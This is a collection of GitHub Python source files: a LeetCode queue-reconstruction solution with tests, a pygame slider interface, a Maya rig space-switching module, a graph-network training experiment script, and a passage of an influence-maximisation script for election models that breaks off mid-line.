{"seq_id":"36548452010","text":"from collections import Counter\nfrom typing import List\n\n\nclass LinkedListNode:\n    def __init__(self, val):\n        self.next = None\n        self.val = val\n\n\nclass BinaryTreeNode:\n    def __init__(self, val):\n        self.left = None\n        self.right = None\n        self.val = val\n        self.elements = Counter()  # number of people to the left by height\n        self.elements_total = 0  # total number of people to the left\n        self.person = None\n\n\nclass Solution:\n    def reconstructQueue(self, people: List[List[int]]) -> List[List[int]]:\n        def construct_binary_tree(node, left_interval, right_interval):\n            left, right = left_interval\n            if left < right:\n                middle = (left + right) // 2\n\n                node.left = BinaryTreeNode(middle)\n                construct_binary_tree(node.left, (left, middle), (middle + 1, right))\n\n            left, right = right_interval\n            if left < right:\n                middle = (left + right) // 2\n\n                node.right = BinaryTreeNode(middle)\n                construct_binary_tree(node.right, (left, middle), (middle + 1, right))\n\n        def tree_insert(node, person, less):\n            equal_or_missing = node.elements[person[0]] + (\n                node.val - node.elements_total - less\n            )\n            if equal_or_missing > person[1]:\n                node.elements[person[0]] += 1\n                node.elements_total += 1\n                tree_insert(node.left, person, less)\n            elif equal_or_missing < person[1]:\n                tree_insert(\n                    node.right,\n                    person,\n                    node.val\n                    - equal_or_missing\n                    + (1 if node.person and node.person[0] != person[0] else 0),\n                )\n            else:\n                if node.person:\n                    tree_insert(node.right, person, node.val - equal_or_missing + 1)\n                else:\n                    node.person = person\n\n        def inorder_walk(node):\n            if node.left:\n                yield from inorder_walk(node.left)\n            yield node.person\n            if node.right:\n                yield from inorder_walk(node.right)\n\n        if not people:\n            return []\n\n        middle = len(people) // 2\n        root = BinaryTreeNode(middle)\n\n        construct_binary_tree(root, (0, middle), (middle + 1, len(people)))\n\n        people.sort()\n\n        for person in people:\n            tree_insert(root, person, 0)\n\n        return list(inorder_walk(root))\n\n    def reconstructQueue1(self, people: List[List[int]]) -> List[List[int]]:\n        people.sort()\n\n        result = [None] * len(people)\n\n        for person in people:\n            equal_or_missing = 0\n            for pos in range(len(result)):\n                if result[pos] is None and equal_or_missing == person[1]:\n                    result[pos] = person\n                    break\n                if result[pos] is None or result[pos][0] == person[0]:\n                    equal_or_missing += 1\n\n        return result\n\n    def reconstructQueue2(self, people: List[List[int]]) -> List[List[int]]:\n        people.sort(key=lambda x: x[1])\n        linked_list = LinkedListNode(None)\n\n        for person in people:\n            count = 0\n            node = linked_list\n\n            while node.next is not None:\n                if node.next.val[0] >= person[0]:\n                    count += 1\n\n                if count <= person[1]:\n                    node = node.next\n                else:\n                    break\n\n            next_node = node.next\n            node.next = LinkedListNode(person)\n            node.next.next = next_node\n\n        result = []\n\n        node = linked_list.next\n        while node:\n            result.append(node.val)\n            node = node.next\n\n        return result\n\n\nclass TestSolution:\n    def setup(self):\n        self.sol = Solution()\n\n    def test_empty(self):\n        assert self.sol.reconstructQueue([]) == []\n\n    def test_case1(self):\n        assert self.sol.reconstructQueue(\n            [[7, 0], [4, 4], [7, 1], [5, 0], [6, 1], [5, 2]]\n        ) == [[5, 0], [7, 0], [5, 2], [6, 1], [4, 4], [7, 1]]\n\n    def test_case2(self):\n        assert self.sol.reconstructQueue(\n            [\n                [0, 0],\n                [6, 2],\n                [5, 5],\n                [4, 3],\n                [5, 2],\n                [1, 1],\n                [6, 0],\n                [6, 3],\n                [7, 0],\n                [5, 1],\n            ]\n        ) == [\n            [0, 0],\n            [6, 0],\n            [1, 1],\n            [5, 1],\n            [5, 2],\n            [4, 3],\n            [7, 0],\n            [6, 2],\n            [5, 5],\n            [6, 3],\n        ]\n","repo_name":"fspv/learning","sub_path":"l33tcode/queue-reconstruction-by-height.py","file_name":"queue-reconstruction-by-height.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"19"}
{"seq_id":"42832735779","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 25 13:43:57 2022\n\n@author: ADMIN\n\"\"\"\nimport pygame\nimport colors\nimport sys\nfrom catalyze_coop_brain import vec2,writetext,drawhunter,hunter\n\nclass basemovebar:\n    def __init__(self,pos1,pos2,width,mrange,bg = colors.BLACK,color = colors.WHITE):\n        assert pos2.y == pos1.y\n        assert pos1.x < pos2.x\n        self.pos1 = pos1\n        self.pos2 = pos2\n        self.width = width\n        self.mrange = mrange\n        self.mousepos = pos1 - vec2(0,0) # Somehow this nonsense is needed to decouple self.pos1 from self.mousepos\n        self.color = color\n        self.bg = bg\n        self.rect = pygame.Rect(pos1.x, pos1.y - (width/2), pos2.x - pos1.x, width)\n        \n    def draw(self,screen,font,text):\n        radius2 = self.width/2\n        place = self.mousepos\n        #Draw the rect\n        gap1 = 20\n        gap2 = 20\n        myval = self.getval(\"int\")\n        \n        if isinstance(myval,type(1.2)):\n            myval = \"{:.10f}\".format(myval)\n        else:\n            myval = str(myval)\n        \n        mloc = vec2(((self.pos2.x - self.pos1.x)/2.) + self.pos1.x,self.pos1.y - gap2)\n        \n        pygame.draw.rect(screen,\n                        colors.GRAY,\n                        self.rect)\n        #Draw circle on top of rect\n        pygame.draw.circle(screen, colors.WHITE, [place.x,self.pos1.y], radius2)\n        writetext(font, self.mrange[0], screen, (self.pos1 - vec2(gap1,0)).elems(), self.color, self.bg)\n        writetext(font, self.mrange[1], screen, (self.pos2 + vec2(gap1,0)).elems(), self.color, self.bg)\n        writetext(font,text,screen, mloc.elems(),self.color,self.bg)\n        writetext(font,myval,screen,(self.mousepos + vec2(0,gap2 - self.mousepos.y + self.pos2.y)).elems(),self.color,self.bg)\n    \n    def update(self,click):\n        cur = vec2(*pygame.mouse.get_pos())\n        iscollide = self.rect.collidepoint(cur.x, cur.y)\n        if click and iscollide:\n            #currently_occupied.add(self)\n            self.mousepos = cur\n    \n    def getval(self,mtype):\n        posn = (self.mousepos.x - self.pos1.x)/(self.pos2.x - self.pos1.x)\n        fin = posn*(self.mrange[1] - self.mrange[0]) + self.mrange[0]\n        if mtype == \"int\":\n            return int(fin)\n        elif mtype == \"float\":\n            return fin\n\nclass mutnbar(basemovebar):\n    \n    def __init__(self,*args,**kwargs):\n        super().__init__(*args,**kwargs)\n    \n    def getval(self,throwaway):\n        posn = (self.mousepos.x - self.pos1.x)/(self.pos2.x - self.pos1.x)\n        if posn <= 0.01:\n            return self.mrange[0]\n        elif posn >= 0.99:\n            return self.mrange[1]\n        fin = 10**(posn*10 - 10)\n        return fin\n\nclass movebar:\n    def __init__(self,pos1,pos2,width,mrange,hunter,radius,bg = colors.BLACK,color = colors.WHITE):\n        assert pos2.y == pos1.y\n        assert pos1.x < pos2.x\n        self.pos1 = pos1\n        self.pos2 = pos2\n        self.hunter = hunter\n        self.radiush = radius\n        self.width = width\n        self.mrange = mrange\n        self.mousepos = pos1 - vec2(0,0) # Somehow this nonsense is needed to decouple self.pos1 from self.mousepos\n        self.color = color\n        self.bg = bg\n        self.rect = pygame.Rect(pos1.x, pos1.y - (width/2), pos2.x - pos1.x, width)\n        \n    def draw(self,screen,font):\n        radius2 = self.width/2\n        place = self.mousepos\n        #Draw the rect\n        gap1 = 10\n        gap2 = 10\n        pygame.draw.rect(screen,\n                        colors.GRAY,\n                        self.rect)\n        #Draw circle on top of rect\n        pygame.draw.circle(screen, colors.WHITE, [place.x,self.pos1.y], radius2)\n        writetext(font, self.mrange[0], screen, (self.pos1 - vec2(gap1,0)).elems(), self.color, self.bg)\n        writetext(font, self.mrange[1], screen, (self.pos2 + vec2(gap1,0)).elems(), self.color, self.bg)\n        \n        \n        mloc = vec2(((self.pos2.x - self.pos1.x)/2.) + self.pos1.x,self.pos1.y - (self.radiush*2.0) - gap2)\n        writetext(font, self.hunter, screen, (mloc - vec2(0,(self.radiush*3.) - gap2)).elems(), self.color, self.bg)\n        drawhunter(screen, mloc.elems(), self.radiush, self.hunter)\n    \n    def update(self,click):\n        cur = vec2(*pygame.mouse.get_pos())\n        iscollide = self.rect.collidepoint(cur.x, cur.y)\n        if click and iscollide:\n            #currently_occupied.add(self)\n            self.mousepos = cur\n    \n    def getval(self):\n        posn = (self.mousepos.x - self.pos1.x)/(self.pos2.x - self.pos1.x)\n        if posn <= 0.01:\n            return self.mrange[0]\n        elif posn >= 0.99:\n            return self.mrange[1]\n        fin = posn*(self.mrange[1] - self.mrange[0]) + self.mrange[0]\n        return fin\n    \n    def changeposn(self,click,newval):\n        #THIS WILL NOT WORK FOR ALL RANGES! ONLY 0-1 RANGES\n        cur = vec2(*pygame.mouse.get_pos())\n        iscollide = self.rect.collidepoint(cur.x, cur.y)\n        if click and iscollide:\n            pass\n        elif self.mrange[0] != 0 or self.mrange[1] != 1:\n            pass\n        else:\n            #fin = (self.mousepos.x - self.pos1.x)/(self.pos2.x - self.pos1.x)\n            self.mousepos.x = newval*(self.pos2.x - self.pos1.x) + self.pos1.x # For 0-1 range only\n            \n        \n        \n\n\n\ndef create_spaced_bars(screensize,myy,mrange,barwidth,hunters,radius,edge = 40):\n    \n    lenary = len(hunters)\n    scr_ary = edge,screensize[0] - edge\n    gaplen = 100\n    #An array of x's containing the starts of each bar is ideal\n    \n    #lenary*barlength + (lenary-1)*gaplen = scr_ary[1] - scr_ary[0]\n    barlength = ((scr_ary[1] - scr_ary[0]) - ((lenary - 1)*gaplen))/lenary\n    pos1s = [((barlength + gaplen)*j) + edge for j in range(lenary)]\n    pos2s = [item + barlength for item in pos1s]\n    ys = [myy]*lenary\n    \n    pos1s = [vec2(item,y) for item,y in zip(pos1s,ys)]\n    pos2s = [vec2(item,y) for item,y in zip(pos2s,ys)]\n    final = []\n    for pos1,pos2,mhunter in zip(pos1s,pos2s,hunters):\n        mbar = movebar(pos1, pos2, barwidth, [0,1], mhunter, radius)\n        final.append(mbar)\n    \n    return final\n\ndef process_values(barvals):\n    if sum(barvals) <= 0:\n        return [1/len(barvals)]*len(barvals)\n    elif sum(barvals) == 1:\n        return barvals\n    elif sum(barvals) < 1:\n        #again, normalize the non-zero values\n        missing = 1 - sum(barvals)\n        proportions = [item/sum(barvals) for item in barvals]\n        toadd = [missing*proportion for proportion in proportions]\n        final = [item + plus for item,plus in zip(barvals,toadd)]\n        return final\n    elif sum(barvals) > 1:\n        #we need to normalize the non-zero values\n        excess = sum(barvals) - 1\n        proportions = [item/sum(barvals) for item in barvals]\n        toremove = [excess*proportion for proportion in proportions]\n        final = [item - torm for item,torm in zip(barvals,toremove)]\n        return final \n    \n    \n\nif __name__ == \"__main__\":\n    pygame.init()\n    myfont = font = pygame.font.Font('freesansbold.ttf', 10)\n    clock = pygame.time.Clock()\n    screensize = pygame.display.Info().current_w,pygame.display.Info().current_h\n    mysurfacesize = width, height =screensize[0] - 100,screensize[1] - 200\n    screen = pygame.display.set_mode(mysurfacesize)\n    strategies = [\n    (\"H\",\"H\",1),\n    (\"H\",\"H\",2),\n    (\"H\",\"S\",1),\n    (\"H\",\"S\",2),\n    (\"S\",\"H\",1),\n    (\"S\",\"H\",2),\n    (\"S\",\"S\",1),\n    (\"S\",\"S\",2)\n    ]\n    \n    hunters = [hunter(*item) for item in strategies]\n    \n    allbars = create_spaced_bars(mysurfacesize, height/2 - 150 , [0,1], 20, hunters[:4], 10)\n    allbars += create_spaced_bars(mysurfacesize, height/2 + 150 , [0,1], 20, hunters[4:], 10)\n    print(height)\n    totalbar = basemovebar(vec2((width/2) - 100,height - 100), vec2((width/2) + 100,height - 100), 20, [100,1000])\n    mutn = mutnbar(vec2((width/2) - 100,100), vec2((width/2) + 100,100), 20, [0,1])\n    while True:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                    pygame.quit()\n                    sys.exit()\n            else:\n                pass\n        \n        \n        click = pygame.mouse.get_pressed()[0]\n        change = process_values([item.getval() for item in allbars])\n        \n        i = 0\n        \n        totalbar.update(click)\n        mutn.update(click)\n        for bar in allbars:\n            bar.update(click)\n            bar.changeposn(click, change[i])\n            i += 1\n            \n        \n        \n        screen.fill(colors.BLACK)\n        \n        totalbar.draw(screen, myfont, \"TOTAL\")\n        mutn.draw(screen, myfont, \"MUTATION PROBABILITY\")\n        for bar in allbars:\n            bar.draw(screen,myfont)\n        \n        pygame.display.flip()\n        ","repo_name":"kasper2311/catalyze_cooperation","sub_path":"movebarscript.py","file_name":"movebarscript.py","file_ext":"py","file_size_in_byte":8765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"28786155817","text":"\nimport re\n\nfrom cgm.lib.zoo.zooPy.misc import removeDupes\nfrom cgm.lib.zoo.zooPy.names import camelCaseToNice\n\nfrom triggered import Trigger\nfrom control import getNiceName\nfrom apiExtensions import asMObject, cleanShortName\nfrom maya.cmds import *\n\nimport maya.cmds as cmd\n\nimport apiExtensions\nimport triggered\nimport rigUtils\nimport control\n\nattrState = control.attrState\nAXES = rigUtils.Axis.BASE_AXES\n\n\nclass ChangeSpaceCmd(unicode):\n\t'''\n\tcontains a bunch of higher level tools to querying the space changing command string\n\t'''\n\n\t_THE_LINES = 'zooFlags;', 'zooUtils;', 'zooChangeSpace \\\"-attr parent %d\\\" %%%d;'\n\n\t@classmethod\n\tdef Create( cls, parentIdx, parentConnectIdx ):\n\t\treturn cls( '\\n'.join( cls._THE_LINES ) % (parentIdx, parentConnectIdx) )\n\t@classmethod\n\tdef IsChangeSpaceCmd( cls, theStr ):\n\t\treturn '\\nzooChangeSpace \"' in theStr\n\n\tdef getInterestingLine( self ):\n\t\tfor line in self.split( '\\n' ):\n\t\t\tif line.startswith( 'zooChangeSpace ' ):\n\t\t\t\treturn line\n\tdef getIndex( self ):\n\t\tinterestingLine = self.getInterestingLine()\n\t\tindexStr = interestingLine.split( ' ' )[ -2 ].replace( '\"', '' )\n\n\t\treturn int( indexStr )\n\tdef setIndex( self, index ):\n\t\tlines = self.split( '\\n' )\n\t\tfor n, line in enumerate( lines ):\n\t\t\tif line.startswith( 'zooChangeSpace ' ):\n\t\t\t\ttoks = line.split( ' ' )\n\t\t\t\ttoks[ -2 ] = '%d\"' % index\n\n\t\t\t\tlines[ n ] = ' '.join( toks )\n\n\t\treturn ChangeSpaceCmd( '\\n'.join( lines ) )\n\tdef getConnectToken( self ):\n\t\tinterestingLine = self.getInterestingLine()\n\t\tlastToken = interestingLine.split( ' ' )[ -1 ].replace( ';', '' )\n\n\t\treturn lastToken\n\n\ndef build( src, tgts, names=None, space=None, **kw ):\n\t'''\n\t'''\n\tif names is None:\n\t\tnames = [ None for t in tgts ]\n\n\tconditions = []\n\tfor tgt, name in zip( tgts, names ):\n\t\tcond = add( src, tgt, name, space, **kw )\n\t\tconditions.append( cond )\n\n\treturn conditions\n\n\nCONSTRAINT_TYPES = CONSTRAINT_PARENT, CONSTRAINT_POINT, CONSTRAINT_ORIENT = 'parentConstraint', 'pointConstraint', 'orientConstraint'\nCONSTRAINT_CHANNELS = { CONSTRAINT_PARENT: (['t', 'r'], ['ct', 'cr']),\n                        CONSTRAINT_POINT: (['t'], ['ct']),\n                        CONSTRAINT_ORIENT: (['r'], ['cr']) }\n\nNO_TRANSLATION = { 'skipTranslationAxes': ('x', 'y', 'z') }\nNO_ROTATION = { 'skipRotationAxes': ('x', 'y', 'z') }\n\ndef add( src, tgt,\n         name=None,\n         space=None,\n         maintainOffset=True,\n         nodeWithParentAttr=None,\n         skipTranslationAxes=(),\n         skipRotationAxes=(),\n         constraintType=CONSTRAINT_PARENT ):\n\n\tglobal AXES\n\tAXES = list( AXES )\n\n\tif space is None:\n\t\tspace = listRelatives( src, p=True, pa=True )[ 0 ]\n\n\tif nodeWithParentAttr is None:\n\t\tnodeWithParentAttr = src\n\n\tif not name:\n\t\tname = getNiceName( tgt )\n\t\tif name is None:\n\t\t\tname = camelCaseToNice( str( tgt ) )\n\n\n\t#if there is an existing constraint, check to see if the target already exists in its target list - if it does, return the condition used it uses\n\tattrState( space, ('t', 'r'), lock=False )\n\texistingConstraint = findConstraint( src )\n\tif existingConstraint:\n\t\tconstraintType = nodeType( existingConstraint )\n\t\tconstraintFunc = getattr( cmd, constraintType )\n\t\ttargetsOnConstraint = constraintFunc( existingConstraint, q=True, tl=True )\n\t\tif tgt in targetsOnConstraint:\n\t\t\tidx = targetsOnConstraint.index( tgt )\n\t\t\taliases = constraintFunc( existingConstraint, q=True, weightAliasList=True )\n\t\t\tcons = listConnections( '%s.%s' % (existingConstraint, aliases[ idx ]), type='condition', d=False )\n\n\t\t\treturn cons[ 0 ]\n\n\n\t#when skip axes are specified maya doesn't handle things properly - so make sure\n\t#ALL transform channels are connected, and remove unwanted channels at the end...\n\tpreT, preR = getAttr( '%s.t' % space )[0], getAttr( '%s.r' % space )[0]\n\tif existingConstraint:\n\t\tchans = CONSTRAINT_CHANNELS[ constraintType ]\n\t\tfor channel, constraintAttr in zip( *chans ):\n\t\t\tfor axis in AXES:\n\t\t\t\tspaceAttr = '%s.%s%s' %( space, channel, axis)\n\t\t\t\tconAttr = '%s.%s%s' % (existingConstraint, constraintAttr, axis)\n\t\t\t\tif not isConnected( conAttr, spaceAttr ):\n\t\t\t\t\tconnectAttr( conAttr, spaceAttr )\n\n\n\t#get the names for the parents from the parent enum attribute\n\tcmdOptionKw = { 'mo': True } if maintainOffset else {}\n\tif objExists( '%s.parent' % nodeWithParentAttr ):\n\t\tsrcs, names = getSpaceTargetsNames( src )\n\t\taddAttr( '%s.parent' % nodeWithParentAttr, e=True, enumName=':'.join( names + [name] ) )\n\n\t\t#if we're building a pointConstraint instead of a parent constraint AND we already\n\t\t#have spaces on the object, we need to turn the -mo flag off regardless of what the\n\t\t#user set it to, as the pointConstraint maintain offset has different behaviour to\n\t\t#the parent constraint\n\t\tif constraintType in ( CONSTRAINT_POINT, CONSTRAINT_ORIENT ):\n\t\t\tcmdOptionKw = {}\n\telse:\n\t\taddAttr( nodeWithParentAttr, ln='parent', at=\"enum\", en=name )\n\t\tsetAttr( '%s.parent' % nodeWithParentAttr, keyable=True )\n\n\n\t#now build the constraint\n\tconstraintFunction = getattr( cmd, constraintType )\n\tconstraint = constraintFunction( tgt, space, **cmdOptionKw )[ 0 ]\n\n\n\tweightAliasList = constraintFunction( constraint, q=True, weightAliasList=True )\n\ttargetCount = len( weightAliasList )\n\tconstraintAttr = weightAliasList[ -1 ]\n\tcondition = shadingNode( 'condition', asUtility=True )\n\tcondition = rename( condition, '%s_to_space_%s#' % (cleanShortName( src ), cleanShortName( tgt )) )\n\n\tsetAttr( '%s.secondTerm' % condition, targetCount-1 )\n\tsetAttr( '%s.colorIfTrue' % condition, 1, 1, 1 )\n\tsetAttr( '%s.colorIfFalse' % condition, 0, 0, 0 )\n\tconnectAttr( '%s.parent' % nodeWithParentAttr, '%s.firstTerm' % condition )\n\tconnectAttr( '%s.outColorR' % condition, '%s.%s' % (constraint, constraintAttr) )\n\n\n\t#find out what symbol to use to find the parent attribute\n\tparentAttrIdx = 0\n\tif not apiExtensions.cmpNodes( space, src ):\n\t\tsrcTrigger = triggered.Trigger( src )\n\t\tparentAttrIdx = srcTrigger.connect( nodeWithParentAttr )\n\n\n\t#add the zooObjMenu commands to the object for easy space switching\n\tTrigger.CreateMenu( src,\n\t                    \"parent to %s\" % name,\n\t                    ChangeSpaceCmd.Create( targetCount-1, parentAttrIdx ) )\n\n\n\t#when skip axes are specified maya doesn't handle things properly - so make sure\n\t#ALL transform channels are connected, and remove unwanted channels at the end...\n\tfor axis, value in zip( AXES, preT ):\n\t\tif axis in skipTranslationAxes:\n\t\t\tattr = '%s.t%s' % (space, axis)\n\t\t\tdelete( attr, icn=True )\n\t\t\tsetAttr( attr, value )\n\n\tfor axis, value in zip( AXES, preR ):\n\t\tif axis in skipRotationAxes:\n\t\t\tattr = '%s.r%s' % (space, axis)\n\t\t\tdelete( attr, icn=True )\n\t\t\tsetAttr( attr, value )\n\n\n\t#make the space node non-keyable and lock visibility\n\tattrState( space, [ 't', 'r', 's' ], lock=True )\n\tattrState( space, 'v', *control.HIDE )\n\n\n\treturn condition\n\n\ndef removeSpace( src, tgt ):\n\t'''\n\tremoves a target (or space) from a \"space switching\" object\n\t'''\n\n\ttgts, names = getSpaceTargetsNames( src )\n\ttgt_mobject = asMObject( tgt )\n\n\tname = None\n\tfor index, (aTgt, aName) in enumerate( zip( tgts, names ) ):\n\t\taTgt = asMObject( aTgt )\n\t\tif aTgt == tgt_mobject:\n\t\t\tname = aName\n\t\t\tbreak\n\n\tif name is None:\n\t\traise AttributeError( \"no such target\" )\n\n\tdelete = False\n\tif len( tgts ) == 1:\n\t\tdelete = True\n\n\tconstraint = findConstraint( src )\n\n\tparentAttrOn = findSpaceAttrNode( src )\n\tspace = findSpace( src )\n\n\tsrcTrigger = Trigger( src )\n\tcmds = srcTrigger.iterMenus()\n\n\tif delete:\n\t\tdelete( constraint )\n\t\tdeleteAttr( '%s.parent' % src )\n\telse:\n\t\tconstraintType = nodeType( constraint )\n\t\tconstraintFunc = getattr( cmd, constraintType )\n\t\tconstraintFunc( tgt, constraint, rm=True )\n\n\tfor slot, cmdName, cmdStr in srcTrigger.iterMenus():\n\t\tif cmdName == ( \"parent to %s\" % name ):\n\t\t\tsrcTrigger.removeMenu( slot )\n\n\t\t#rebuild the parent attribute\n\t\tnewNames = names[:]\n\t\tnewNames.pop( index )\n\t\taddAttr( '%s.parent' % parentAttrOn, e=True, enumName=':'.join( newNames ) )\n\n\t#now we need to update the indicies in the right click command - all targets that were beyond the one we\n\t#just removed need to have their indices decremented\n\tfor slot, cmdName, cmdStr in srcTrigger.iterMenus():\n\t\tif not cmdName.startswith( 'parent to ' ):\n\t\t\tcontinue\n\n\t\tcmdStrObj = ChangeSpaceCmd( cmdStr )\n\t\tcmdIndex = cmdStrObj.getIndex()\n\t\tif cmdIndex < index:\n\t\t\tcontinue\n\n\t\tcmdStrObj = cmdStrObj.setIndex( cmdIndex-1 )\n\t\tsrcTrigger.setMenuCmd( slot, cmdStrObj )\n\n\ndef getSpaceName( src, theTgt ):\n\t'''\n\twill return the user specified name given to a particular target object\n\t'''\n\ttgts, names = getSpaceTargetsNames( src )\n\tfor tgt, name in zip( tgts, names ):\n\t\tif tgt == theTgt:\n\t\t\treturn name\n\n\ndef getSpaceTargetsNames( src ):\n\t'''\n\tthis procedure returns a 2-tuple: a list of all targets, and a list of user\n\tspecified names - for the right click menus\n\t'''\n\tconstraint = findConstraint( src )\n\tif constraint is None:\n\t\treturn [], []\n\n\tspace = findSpace( src, constraint )\n\tif space is None:\n\t\treturn [], []\n\n\tconstraintType = nodeType( constraint )\n\tconstraintFunc = getattr( cmd, constraintType )\n\n\ttargetsOnConstraint = constraintFunc( constraint, q=True, tl=True )\n\ttrigger = Trigger( src )\n\n\tSPECIAL_STRING = 'parent to '\n\tLEN_SPECIAL_STRING = len( SPECIAL_STRING )\n\n\ttgts, names = [], []\n\tfor slotIdx, slotName, slotCmd in trigger.iterMenus():\n\t\tif slotName.startswith( SPECIAL_STRING ):\n\t\t\tnames.append( slotName[ LEN_SPECIAL_STRING: ] )\n\n\t\t\tcmdStrObj = ChangeSpaceCmd( slotCmd )\n\t\t\tcmdIndex = cmdStrObj.getIndex()\n\t\t\ttgts.append( targetsOnConstraint[ cmdIndex ] )\n\n\treturn tgts, names\n\n\ndef findSpace( obj, constraint=None ):\n\t'''\n\twill return the node being used as the \"space node\" for any given space switching object\n\t'''\n\tif constraint is None:\n\t\tconstraint = findConstraint( obj )\n\t\tif constraint is None:\n\t\t\treturn None\n\n\tcAttr = '%s.constraintParentInverseMatrix' % constraint\n\tspaces = listConnections( cAttr, type='transform', d=False )\n\tif spaces:\n\t\tfuture = ls( listHistory( cAttr, f=True ), type='transform' )\n\t\tif future:\n\t\t\treturn future[ -1 ]\n\n\ndef findConstraint( obj ):\n\t'''\n\twill return the name of the constraint node thats controlling the \"space node\" for any given\n\tspace switching object\n\t'''\n\tparentAttrOn = findSpaceAttrNode( obj )\n\tif parentAttrOn is None:\n\t\treturn None\n\n\tpAttr = '%s.parent' % parentAttrOn\n\tif not objExists( pAttr ):\n\t\treturn None\n\n\tconditions = listConnections( pAttr, type='condition', s=False ) or []\n\tfor condition in conditions:\n\t\tconstraints = listConnections( '%s.outColorR' % condition, type='constraint', s=False )\n\t\tif constraints:\n\t\t\treturn constraints[ 0 ]\n\n\treturn None\n\n\ndef findSpaceAttrNode( obj ):\n\t'''\n\treturns the node that contains the parent attribute for the space switch\n\t'''\n\tparentAttrOn = \"\";\n\ttrigger = Trigger( obj )\n\n\tfor slotIdx, slotName, slotCmd in trigger.iterMenus():\n\t\tif slotName.startswith( 'parent to ' ):\n\t\t\tcmdStrObj = ChangeSpaceCmd( slotCmd )\n\t\t\tconnectToken = cmdStrObj.getConnectToken()\n\n\t\t\treturn trigger.resolve( connectToken )\n\n\n#end\n","repo_name":"jjburton/cgmTools","sub_path":"mayaTools/cgm/lib/zoo/zooPyMaya/spaceSwitching.py","file_name":"spaceSwitching.py","file_ext":"py","file_size_in_byte":10958,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"19"}
{"seq_id":"9959703927","text":"from ctg_benchmark.utils.utils import get_basic_loader_config\nfrom ctg_benchmark.utils.io import load_yaml\nfrom plantcelltype.graphnn.trainer import train\n\ntemplate_config_paths = ('./lengths_all_directions/gcn.yaml',\n                         './lengths_all_directions/deeper_gcn.yaml',\n                         )\n\nperturbation = {'name': 'proj_length_unit_sphere',\n                'pre_transform': [{'name': 'Zscore'},\n                                  {'name': 'ToTorchTensor'}]}\nname = '_All_Lengths'\nfor template_config_path in template_config_paths:\n    template_config = load_yaml(template_config_path)\n    train(config=template_config)  # perturbed training\n\n    dataset_config = get_basic_loader_config('dataset')\n    dataset_config['node_features'].append(perturbation)\n    for dataset in ['train_dataset', 'test_dataset', 'val_dataset']:\n        if dataset in template_config['loader']:\n            template_config['loader'][dataset]['raw_transform_config'] = dataset_config\n\n    template_config['logs']['name'] += name\n    train(config=template_config)  # perturbed training\n","repo_name":"hci-unihd/plant-celltype","sub_path":"experiments/lengths_all_directions.py","file_name":"lengths_all_directions.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7726476521","text":"import numpy as np\nimport heapq\nimport pickle\n\n\ndef change_in_margin_for_node_set_constructive(G, C, node_list, votes, nodes, optimal_candidate):\n    changes_in_margin = []\n    for candidate in range(0, C):\n        g = 0\n        #if candidate != optimal_candidate:\n        for n in nodes:\n            if G.nodes[node_list[n]][\"voting_preference\"][0] == candidate and G.nodes[node_list[n]][\"voting_preference\"][1] == optimal_candidate:\n                g += 2\n            elif G.nodes[node_list[n]][\"voting_preference\"][1] == optimal_candidate:\n                g += 1\n        changes_in_margin.append(g + np.max(votes) - votes[candidate])\n    return min(changes_in_margin)\n\n\ndef change_in_margin_for_node_set_destructive(G, C, node_list, votes, nodes, optimal_candidate):\n    changes_in_margin = []\n    for candidate in range(0, C):\n        g = 0\n        for n in nodes:\n            if G.nodes[node_list[n]][\"voting_preference\"][1] == candidate and \\\n                    G.nodes[node_list[n]][\"voting_preference\"][0] == optimal_candidate:\n                g += 2\n            elif G.nodes[node_list[n]][\"voting_preference\"][0] == optimal_candidate:\n                g += 1\n        changes_in_margin.append(g + votes[candidate])\n    return max(changes_in_margin) - np.max(votes)\n\n\ndef compute_influence_for_node_set(G, C, node_list, votes, nodes, samples, is_constructive, optimal_candidate):\n    vals = []\n    for s in samples:\n        reachable_nodes = []\n        for node in nodes:\n            reachable_nodes = np.union1d(reachable_nodes, s[node][\"influenced_descendants\"]).astype(int)\n        val = change_in_margin_for_node_set_constructive(G, C, node_list, votes, reachable_nodes, optimal_candidate) if is_constructive else change_in_margin_for_node_set_destructive(G, C, node_list, votes, reachable_nodes, optimal_candidate)\n        vals.append(val)\n        # vals.append(len(reachable_nodes))\n    return np.mean(vals)\n\n\ndef compute_influence_for_node(G, C, node_list, votes, node, samples, is_constructive, optimal_candidate):\n    vals = []\n    for s in samples:\n        #vals.append(len(s[node][\"influenced_descendants\"]))\n        val = change_in_margin_for_node_set_constructive(G, C, node_list, votes, s[node][\"influenced_descendants\"], optimal_candidate) if is_constructive else change_in_margin_for_node_set_destructive(G, C, node_list, votes, s[node][\"influenced_descendants\"], optimal_candidate)\n        vals.append(val)\n    return np.mean(vals)\n\n\ndef greedy_once(G, C, node_list, votes, nodes, samples, is_constructive, optimal_candidate):\n    heap = []\n    influences = []\n    for n in nodes:\n        influence = compute_influence_for_node(G, C, node_list, votes, n, samples, is_constructive, optimal_candidate)\n        influences.append(influence)\n        heapq.heappush(heap, (-influence, n))\n\n    return heap, influences\n\n\ndef lazy_greedy(network, num_mc_samples, C, is_constructive, num_seed_nodes, instance, optimal_candidate):\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/compressed_mc_samples_' + str(C) + '_' + str(instance) +'.pkl', 'rb') as f:\n        samples = pickle.load(f)\n    samples = samples[0:num_mc_samples]\n\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/graph_' + str(C) + '_' + str(instance) +'.pkl', 'rb') as f:\n        G = pickle.load(f)\n\n    votes = []\n    for candidate in range(0, C):\n        votes.append(len([node for node in G.nodes if G.nodes[node][\"voting_preference\"][0] == candidate]))\n    node_list = list(G.nodes)\n    marginal_influences = []\n    print(\"RUNNING LAZY GREEDY\")\n    heap, influences = greedy_once(G, C, node_list, votes, list(np.arange(0, len(G.nodes))), samples, is_constructive, optimal_candidate)\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/influences_' + str(C) + '_' + str(instance) + '.pkl', 'wb') as f:\n        